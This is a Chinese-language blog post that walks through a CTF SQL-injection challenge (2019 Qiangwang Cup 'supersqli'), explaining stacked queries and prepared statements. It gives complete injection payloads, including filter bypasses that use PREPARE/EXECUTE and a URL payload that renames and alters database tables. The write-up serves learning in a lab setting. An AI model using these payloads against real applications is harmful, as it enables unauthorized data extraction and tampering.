HacKerQWQ的博客空间

堆叠注入、预定义sql语句的知识及例题

Word count: 303Reading time: 1 min
2020/08/14 Share

2019-强网杯supersqli

随便输入一下发现select等关键词被过滤

尝试绕过关键词,%0a、<\a>、十六进制,内联注释都不行

解法一

前置知识:堆叠注入

显示列信息

  • show columns from table_name
  • desc table_name
  • select * from information_schema.columns where table_schema="" and table_name=""

使用;分隔命令,从而执行多个命令

payload:爆数据库

1
1'/**/and/**/extractvalue(1,concat(0x7e,database()))%23

payload:看表名

1
1';use/**/supersqli;show/**/tables%23

payload: 看1919810931114514内的字段

1
1';use/**/supersqli;show/**/columns/**/from/**/`1919810931114514`%23

payload:看flag

1
1';use/**/supersqli;SET/**/@sql=concat('s','elect/**/`flag`/**/from/**/`1919810931114514`');PREPARE/**/PRE/**/from/**/@sql;execute/**/PRE;%23

知识:

1
2
3
4
5
SET/**/@sql=concat('s','elect/**/`flag`/**/from/**/`1919810931114514`');   #设置变量

PREPARE/**/PRE/**/from/**/@sql; #预定义SQL语句

EXECUTE PRE; #执行预定义SQL语句

解法二

由于数据库默认从words数据库中获取,所以可以更改数据库名字从含flag的数据库里面取数据

1
http://159.138.137.79:53698/?inject=1' or 1=1; rename tables words to words1;rename tables `1919810931114514` to words;alter table words change flag id varchar(100);
  • 更改表的名字

  • RENAME TABLE tbl_name TO new_tbl_name[, tbl_name2 TO new_tbl_name2,...]

  • alter table table_name to new name

更改字段的名字

  • alter table t_app change name app_name varchar(20) not null;
CATALOG
  1. 1. 2019-强网杯supersqli
    1. 1.1. 解法一
    2. 1.2. 解法二